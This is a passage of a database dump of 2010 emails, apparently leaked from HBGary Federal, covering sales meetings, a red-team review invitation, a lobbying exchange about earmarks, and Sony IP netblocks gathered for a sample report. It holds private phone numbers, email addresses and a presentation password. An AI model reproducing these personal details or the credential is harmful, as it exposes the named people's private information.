discussed.  I will start on that immediately.  Let me know if there are any specific areas you would like to discuss further.\r\n\r\nGeneral Areas we are working on:\r\nAttribution (Threat Intelligence)\r\nContinuous Incident Response\r\nCreative CNO Capabilities\r\nSocial Media Exploitation and Protection\r\nGame Development (MMO/VW)\r\n',15081,'aaron_hbgary_com/15081.html'),(11696,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008794.M592597P14101Q6551.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: HBGary','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Brian Coulson \r\nDate: Mon, Sep 13, 2010 at 3:25 PM\r\nSubject: RE: HBGary\r\nTo: Ted Vera \r\n\r\n\r\nTed,\r\n\r\nHi! You are more than welcome to stop by anytime you are up in this\r\narea! Yes, I do believe the meeting went well.\r\n\r\nThanks again!\r\n\r\nSincerely,\r\nBrian Coulson\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Monday, September 13, 2010 3:22 PM\r\nTo: Brian Coulson\r\nSubject: HBGary\r\n\r\nHi Brian,\r\n\r\nI just spoke with Aaron, and it sounds like today\'s meeting went well.\r\n I\'m sorry I couldn\'t make it up today.  I would love to stop by\r\nanytime to meet face to face, or in follow-up if you have any\r\nquestions.\r\n\r\nTed\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\nThis electronic communication and any attachments may contain\r\nconfidential and proprietary\r\ninformation of DigitalGlobe, Inc. If you are not the intended\r\nrecipient, or an agent or employee\r\nresponsible for delivering this communication to the intended\r\nrecipient, or if you have received\r\nthis communication in error, please do not print, copy, retransmit,\r\ndisseminate or\r\notherwise use the information. Please indicate to the sender that you\r\nhave received this\r\ncommunication in error, and delete the copy you received. DigitalGlobe\r\nreserves the\r\nright to monitor any electronic communication sent or received by its\r\nemployees, agents\r\nor representatives.\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',7101,'aaron_hbgary_com/7101.html'),(11697,'2010-09-13','\"Windle, Amanda J\" <Amanda.Windle@ManTech.com>','/aaron@hbgary.com/new/1297008794.M806632P14101Q6552.eml','aaron@hbgary.com,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','Gatorbait Red Team','Aaron,\r\nWill you be available for the Red Team Review at 9:00am on Wednesday?\r\n',549,'aaron_hbgary_com/549.html'),(11698,'2010-09-13','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008795.M216825P14101Q6554.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Re: Sony','I think it was electronics\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 13, 2010, at 4:12 PM, Ted Vera  wrote:\r\n\r\n> Hi Maria,\r\n>\r\n> You mentioned \"Sony Entertainment\", but I can\'t find an associated\r\n> network.  I think they fall under \"Sony Online Entertainment, LLC\".\r\n> Please confirm if the information below is for the correct\r\n> organization and I can run a sample EndGames report.\r\n>\r\n> Name    Sony Online Entertainment, LLC\r\n> Handle    SOE-2\r\n> Street    8958 Terman Court\r\n> City    San Diego\r\n> State/Province    CA\r\n> Postal Code    92121\r\n> Country    US\r\n> Registration Date    1999-08-05\r\n> Last Updated    2009-06-24\r\n> Comments\r\n> RESTful Link    http://whois.arin.net/rest/org/SOE-2\r\n>\r\n>\r\n> VERANT-NETBLK1 (NET-64-37-128-0-1)    64.37.128.0 - 64.37.191.255\r\n> SOE-NETBLK2 (NET-69-174-192-0-1)    69.174.192.0 - 69.174.223.255\r\n> SOE-IPV6-1 (NET6-2607-FB48-1)    2607:FB48:: -\r\n> 2607:FB48:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n',8450,'aaron_hbgary_com/8450.html'),(11699,'2010-09-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008795.M441109P14101Q6555.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: Meeting Yesterday','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Erbes, Marilyn\r\n[mailto:Marilyn.Erbes@mail.house.gov] \r\nSent: Monday, September 13, 2010 3:29 PM\r\nTo: Penny Leavy-Hoglund\r\nCc: Jones, Debra\r\nSubject: RE: Meeting Yesterday\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI am going to copy Debra Jones on this email.&nbsp; Deb handles the\r\nCongressman&#8217;s schedule and she can work directly with you or whomever you\r\ndesignate to schedule a visit to your business.&nbsp; &nbsp;&nbsp;Please feel\r\nfree to contact her by phone or email.&nbsp; I will contact you separately and\r\nwe can schedule a time to go over the appropriations process.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, September 13, 2010 2:51 PM\r\nTo: Erbes, Marilyn\r\nSubject: RE: Meeting Yesterday\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK, Not sure when the\r\nCongressman will be out here in October.&nbsp; I know Greg is speaking at the\r\nCIO Conference for State of CA on the 20th/21st and we\r\nhave an event in SF week Oct 12-14th.&nbsp; I can come to your\r\noffice when convenient for you to discuss the funding\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\npenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Erbes, Marilyn\r\n[mailto:Marilyn.Erbes@mail.house.gov] \r\nSent: Monday, September 13, 2010 10:50 AM\r\nTo: Penny Leavy-Hoglund\r\nSubject: RE: Meeting Yesterday\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Penny,\r\n\r\n&nbsp;\r\n\r\nIt was a pleasure meeting you last week at the Symposium.&nbsp; I\r\nappreciate the links you have sent and the information provided.\r\n\r\n&nbsp;\r\n\r\nI think it might be a good idea to have the Congressman visit your\r\ncompany and meet with Greg Hoglund and any others in the Company that you feel\r\nwould be appropriate.&nbsp; I know the Congressman would be very interested in\r\nbeing briefed on the items you mentioned in your email and I&#8217;m sure would have\r\nmany questions he would like to ask.&nbsp; If you are open to the idea of having\r\nhim visit your facility, please let me know and we can set something up when he\r\nreturns in October, your schedules permitting, of course.\r\n\r\n&nbsp;\r\n\r\nPerhaps you and I can have a separate conversation about earmark\r\nand appropriation funding.&nbsp; We handle the appropriations process out of\r\nour district office and I would be happy to explain the process and perhaps\r\ndiscuss our process in support of grant funding.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n&nbsp;\r\n\r\nMarilyn\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Friday, September 10, 2010 3:53 PM\r\nTo: Erbes, Marilyn; Mesenbrink, Cynthia\r\nCc: \'Aaron Barr\'\r\nSubject: Meeting Yesterday\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi Marilyn and Cynthia,\r\n\r\n&nbsp;\r\n\r\nIt was a pleasure to meet you both at Infragard\r\nyesterday.&nbsp; Marilyn, per our conversation I am attaching the presentation\r\n(it&#8217;s recorded) that our founder and CEO Greg Hoglund did for the Cyber\r\nterrorism Conference on Healthcare.&nbsp; I think Congressman Lundgren will\r\nfind this very interesting because this is an entirely plausible event with\r\nsoftware that is readily available on the Internet for purchase.&nbsp;\r\nObviously we didn&#8217;t post this up on our website for everyone to see because we\r\nwouldn&#8217;t want this to happen, so that&#8217;s why it&#8217;s password protected. Please\r\ndon&#8217;t distribute it widely.&nbsp; We are giving follow up presentations to\r\nStanford, NYU Medical and a few others.&nbsp; \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nhttps://www.hbgary.com/?p=3566&amp;preview=true\r\n\r\n&nbsp;\r\n\r\nPassword: &nbsp;&nbsp;hospitalworm\r\n\r\n&nbsp;\r\n\r\nI also wanted to give you a little background on the company\r\nand our start since Congressman Lundgren is partially responsible.&nbsp; First,\r\nour founder Greg Hoglund is an international security expert.&nbsp; He has\r\nwritten multiple books and is considered one of the foremost authorities on\r\nroot kits.&nbsp; I&#8217;m attaching his Wikipedia link for you&nbsp; http://en.wikipedia.org/wiki/Greg_Hoglund&nbsp;\r\n&nbsp;He is a sought after speaker and has participated in numerous talks with\r\nvarious agencies.&nbsp; Most of the important ones know us.\r\n\r\n&nbsp;\r\n\r\nSecond, we were funded by THREE phase 2 SBIRS.&nbsp; Two\r\nfrom the Air force (Wright Patterson) and one from DHS Science and Technology.\r\nThese helped us fund our technology and we&#8217;ve used that technology to create an\r\nenterprise APT security solution. (it&#8217;s designed to catch previously unseen or\r\nunknown malware such as what is infiltrating our networks from China and former\r\nSoviet Union)&nbsp; &nbsp;&nbsp;In addition, through DHS Science and Technology\r\nwe received a follow on amount to train law enforcement officers state, local\r\nand federal.&nbsp; We also provided them with a copy of our Memory Forensic\r\nsoftware.&nbsp; Memory forensics is becoming more important because things like\r\npasswords, keys (for encryption), chat sessions are found in the memory of a\r\nmachine, which means law enforcement doesn&#8217;t necessarily need to get a password\r\nfrom a potential criminal, they can get it themselves.&nbsp; We have been used\r\nby Secret Service and FBI as well as local police to help catch pedophiles and\r\nfelons.&nbsp; \r\n\r\n&nbsp;\r\n\r\nThird, because of the funding, we are able to hire in\r\nSacramento.&nbsp; This means jobs in a depressed economy.&nbsp; The more\r\nfunding given to these programs, the more than can help build businesses in\r\nlocal areas.&nbsp; Just so happens we moved out this way.&nbsp; \r\n\r\n&nbsp;\r\n\r\nFourth, as a result of the gov&#8217;t acting as our VC, we are\r\ngiving back to the educational system and trying to make it better for security\r\nprofessionals coming out of school.&nbsp; We have donated our software to\r\nUniversity of New Orleans, Ferris University (Michigan), we are working with UC\r\nDavis and Matt Bishop out here to get it into his curriculum &nbsp;and we are\r\ntrying to bring Ponoma and Sacramento State on line to have this outfitted in\r\ntheir labs as well.\r\n\r\n&nbsp;\r\n\r\nFifth, we do a lot of incident response for defense\r\ncontractors as well as commercial companies.&nbsp; We see what malware is\r\ncoming in and what it is doing.&nbsp; We have a lot of information on items\r\nthat are being targeted and what the malware looks like.&nbsp; We catch much of\r\nit with our solution and I think we can provide some valuable feedback to the\r\ncongressman&#8217;s committee. &nbsp;Most of the malware is BYPASSING perimeter\r\nsecurity and entering right on the desk top.&nbsp; The malware is virus aware\r\nand they test against almost all virus products on the market.&nbsp; Much of it\r\nis encrypted or packed and can&#8217;t be seen by things like Einstein 2 or 3.&nbsp;\r\nI would personally make Greg available to the Congressman as well as the head\r\nHBGary Federal which deals with classified and social media aspects.\r\n\r\n&nbsp;\r\n\r\nAnd finally, I&#8217;d like to see if we can get an earmark or\r\nfunding in a bill to see if we can continue to train law enforcement on malware\r\nand catching criminals using the computer.&nbsp;&nbsp; I&#8217;m not sure of the\r\nvehicles to do this, but I know that we&#8217;d like to continue it.&nbsp; We\r\nunderstand our law enforcement is underfunded and overwhelmed and if we can\r\nmake their jobs easier, we&#8217;d like to do that. \r\n\r\n&nbsp;\r\n\r\nI know it&#8217;s a lot, we can certainly come out and present to\r\nyou if that would help.\r\n\r\n&nbsp;\r\n\r\nThanks for the time and attention.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9242,'aaron_hbgary_com/9242.html'),(11700,'2010-09-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008795.M659723P14101Q6556.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,','DigitalGlobe','PennyHitachi President was at DigitalGlobe so the CISO and CIO attended the HItachi meeting.HOWEVER, Founder and CTO, Dr. Walter Scott attended the full (2) hours of Greg&#39;s presentation.  He was skeptical at first but asked a lot of questions and was well satisfied with the outcome.  The other attendees were the Directors from the IT Department plus the Dan Collender and Brian Coulson from the IT security group.\r\nI will get a complete list of attendees from Brian and next steps from Dan.The meeting was a success -- they said they will be purchasing product and services.  I will get more feedback tomorrow about timelines and next steps.  Greg and Aaron did a great job and completed the agenda.\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n\r\n',8789,'aaron_hbgary_com/8789.html'),(11701,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008795.M7006P14101Q6553.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Sony','Hi Maria,\r\n\r\nYou mentioned \"Sony Entertainment\", but I can\'t find an associated\r\nnetwork.  I think they fall under \"Sony Online Entertainment, LLC\".\r\nPlease confirm if the information below is for the correct\r\norganization and I can run a sample EndGames report.\r\n\r\nName	Sony Online Entertainment, LLC\r\nHandle	SOE-2\r\nStreet	8958 Terman Court\r\nCity	San Diego\r\nState/Province	CA\r\nPostal Code	92121\r\nCountry	US\r\nRegistration Date	1999-08-05\r\nLast Updated	2009-06-24\r\nComments	\r\nRESTful Link	http://whois.arin.net/rest/org/SOE-2\r\n\r\n\r\nVERANT-NETBLK1 (NET-64-37-128-0-1) 	64.37.128.0 - 64.37.191.255\r\nSOE-NETBLK2 (NET-69-174-192-0-1) 	69.174.192.0 - 69.174.223.255\r\nSOE-IPV6-1 (NET6-2607-FB48-1) 	2607:FB48:: -\r\n2607:FB48:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11107,'aaron_hbgary_com/11107.html'),(11702,'2010-09-13','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008795.M894299P14101Q6557.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Sony','Sony Electronicsanother one is Devon EnergyOn Mon, Sep 13, 2010 at 3:14 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nI think it was electronics\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 13, 2010, at 4:12 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\n\r\n&gt; Hi Maria,\r\n&gt;\r\n&gt; You mentioned &quot;Sony Entertainment&quot;, but I can&#39;t find an associated\r\n&gt; network.  I think they fall under &quot;Sony Online Entertainment, LLC&quot;.\r\n&gt; Please confirm if the information below is for the correct\r\n&gt; organization and I can run a sample EndGames report.\r\n&gt;\r\n&gt; Name    Sony Online Entertainment, LLC\r\n&gt; Handle    SOE-2\r\n&gt; Street    8958 Terman Court\r\n&gt; City    San Diego\r\n&gt; State/Province    CA\r\n&gt; Postal Code    92121\r\n&gt; Country    US\r\n&gt; Registration Date    1999-08-05\r\n&gt; Last Updated    2009-06-24\r\n&gt; Comments\r\n&gt; RESTful Link    http://whois.arin.net/rest/org/SOE-2\r\n&gt;\r\n&gt;\r\n&gt; VERANT-NETBLK1 (NET-64-37-128-0-1)    64.37.128.0 - 64.37.191.255\r\n&gt; SOE-NETBLK2 (NET-69-174-192-0-1)    69.174.192.0 - 69.174.223.255\r\n&gt; SOE-IPV6-1 (NET6-2607-FB48-1)    2607:FB48:: -\r\n&gt; 2607:FB48:FFFF:FFFF:FFFF:FFFF:FFFF:FFFF\r\n&gt;\r\n&gt; Regards,\r\n&gt; Ted\r\n&gt;\r\n&gt;\r\n&gt;\r\n&gt; --\r\n&gt; Ted Vera  |  President  |  HBGary Federal\r\n&gt; Office 916-459-4727x118  | Mobile 719-237-8623\r\n&gt; www.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',6971,'aaron_hbgary_com/6971.html'),(11703,'2010-09-13','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008796.M169338P14101Q6558.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,,','RE: DigitalGlobe','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGuys,\r\n\r\n&nbsp;\r\n\r\nThanks for doing this meeting.&nbsp; It&#8217;s disappointing that the\r\nCIO/CISO were not there since they control the budget.&nbsp; Maria, you need to be aware\r\nof this BEFORE it happens.&nbsp; I understand it was a last minute issue but your\r\ncontact should call you so that you can have this info for Greg and Aaron going\r\nin.&nbsp; While I appreciate the CTO was skeptical and we overcame objections, he\r\ndoes not control budget, the CIO does.\r\n\r\n&nbsp;\r\n\r\nGreg and Aaron\r\n\r\n&nbsp;\r\n\r\nBasic business 101, YOU ALWAYS get business cards at a meeting.&nbsp;\r\nAs shawn bracken states, these are the sales reps &#8220;chips&#8221;.&nbsp; We need these and\r\nit saves us time and effort if we have these as opposed to asking a customer to\r\nre-create this information for us (which they won&#8217;t do with all the info on the\r\ncard).&nbsp; When a sales rep isn&#8217;t there, I would expect these to be scanned and\r\nsent to sales after a meeting.\r\n\r\n&nbsp;\r\n\r\nThanks for all your work\r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Maria Lucas\r\n[mailto:maria@hbgary.com] \r\nSent: Monday, September 13, 2010 4:34 PM\r\nTo: Penny C. Hoglund\r\nCc: Greg Hoglund; Aaron Barr; Ted Vera\r\nSubject: DigitalGlobe\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHitachi President was at DigitalGlobe so the CISO and CIO\r\nattended the HItachi meeting.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHOWEVER, Founder and CTO, Dr. Walter Scott attended the full\r\n(2) hours of Greg\'s presentation. &nbsp;He was skeptical at first but asked a\r\nlot&nbsp;of questions and was well satisfied with the outcome. &nbsp;The other\r\nattendees were the Directors from the IT Department plus the Dan Collender and\r\nBrian Coulson from the IT security group.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will get a complete list of attendees from Brian and next\r\nsteps from Dan.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThe meeting was a success -- they said they will be\r\npurchasing product and services. &nbsp;I will get more feedback tomorrow about\r\ntimelines and next steps. &nbsp;Greg and Aaron did a great job and completed\r\nthe agenda.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nMaria\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.\r\n\r\nCell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com \r\n\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4570,'aaron_hbgary_com/4570.html'),(11704,'2010-09-14','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008796.M376015P14101Q6559.eml','\"Windle, Amanda J\" <Amanda.Windle@mantech.com>','Re: Gatorbait Red Team','Yes I will.\r\n\r\nSent from my iPhone\r\n\r\nOn Sep 13, 2010, at 3:46 PM, \"Windle, Amanda J\"\r\n wrote:\r\n\r\n> Aaron,\r\n> Will you be available for the Red Team Review at 9:00am on Wednesday?\r\n',11770,'aaron_hbgary_com/11770.html'),(11705,'2010-09-14','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008796.M631644P14101Q6560.eml','\"Barr Aaron\" <aaron@hbgary.com>','Mail','https://mail.google.com/a/mu/hbgary.com/#tl/Inbox\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',10911,'aaron_hbgary_com/10911.html'),(11706,'2010-09-14','\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>','/aaron@hbgary.com/new/1297008796.M849139P14101Q6561.eml','aaron@hbgary.com','Fw: FW: Gatorbait Red Team Review','\r\n\r\n\r\nFw: FW: Gatorbait Red Team Review\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Contee, Maxine E\r\nSent: Wednesday, September 01, 2010 10:48 AM\r\nTo: Swain, Gregory H; Gates, Tiffanny L; Simpson, Patrick B; Mentzer, Justin C; Frisbie, Robert P; Contee, Maxine E\r\nSubject: Gatorbait Red Team Review\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\n\r\n\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good Morning All,\r\n\r\nYou have been selected to participate in the Gatorbait Red&nbsp; Team Review scheduled for September 15th @ 9AM in the Cougar Den.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maxine Contee\r\n\r\n\r\n\r\n\r\n-----Original Appointment-----\r\nFrom: Contee, Maxine E\r\nSent: Wednesday, September 01, 2010 10:48 AM\r\nTo: Swain, Gregory H; Gates, Tiffanny L; Simpson, Patrick B; Mentzer, Justin C; Frisbie, Robert P; Contee, Maxine E\r\nSubject: Gatorbait Red Team Review\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\n\r\n\r\nWhen: Wednesday, September 15, 2010 9:00 AM-3:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 10th Floor - South Tower - Cougar Den\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Good Morning All,\r\n\r\nYou have been selected to participate in the Gatorbait Red&nbsp; Team Review scheduled for September 15th @ 9AM in the Cougar Den.\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thanks,\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Maxine Contee\r\n\r\n\r\n\r\n\r\n\r\n',6366,'aaron_hbgary_com/6366.html'),(11707,'2010-09-14','\"AFCEA NOVA\" <info@afceanova.org>','/aaron@hbgary.com/new/1297008797.M144313P14101Q6562.eml','aaron@hbgary.com','Last Chance! - DHS Eagle II Small Business Breakfast  (AFCEA NOVA)','\r\n\r\n\r\n  AFCEA-NOVA\r\n   \r\n  \r\nHaving trouble viewing this email?\r\nClick here\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      Last\r\nChance to Register! DHS\r\nEagle II - Small Business Breakfast\r\n      \r\n      &nbsp;\r\n    \r\n    \r\n      \r\n      \r\n      \r\n      \r\n    \r\n    \r\n      \r\n      \r\n      \r\n      DHS Eagle II - Small Business Breakfast\r\n      Soraya\r\nCorrea\r\n      Director of the\r\nOffice of Procurement Operations\r\nDepartment of Homeland Security \r\n      Kevin M.\r\nPlexico\r\n      Executive Vice\r\nPresident, Operations, INPUT \r\n      Tuesday, September 21, 2010\r\n      Read more and register at \r\n      www.afceanova.org/smallbusiness\r\n      \r\n      \r\n      About The Small Business Breakfast\r\n      Join AFCEA NOVA for our DHS EAGLE II breakfast and learn\r\nhow DHS will use the EAGLE II contract to satisfy its small business IT\r\nrequirements. \r\n      \r\nThis will be an excellent opportunity to network and meet with other\r\nbusinesses who are interested in this crucial $45 billion dollar IT\r\nprocurement.\r\nRead more about this program and register at www.afceanova.org/smallbusiness\r\n      \r\n      \r\n      \r\n      About The Speakers\r\n      Soraya Correa\r\nis the Director of the Office of Procurement Operations (OPO). She has\r\n28 years of experience in procurement, federal assistance, and\r\nacquisitions management.\r\n      Kevin\r\nPlexico is the senior vice president, Research and\r\nAnalysis Services at INPUT, where he is responsible for leading the\r\nindustry’s largest team of analysts focused on the public sector market.\r\nRead more about the speakers and register at www.afceanova.org/smallbusiness\r\n      \r\n      \r\n      \r\n      \r\n      \r\n      Upcoming\r\nAFCEA NOVA Events \r\n      With\r\nworld-class speakers and record-breaking attendance year after year,\r\nAFCEA\r\nNOVA\'s event 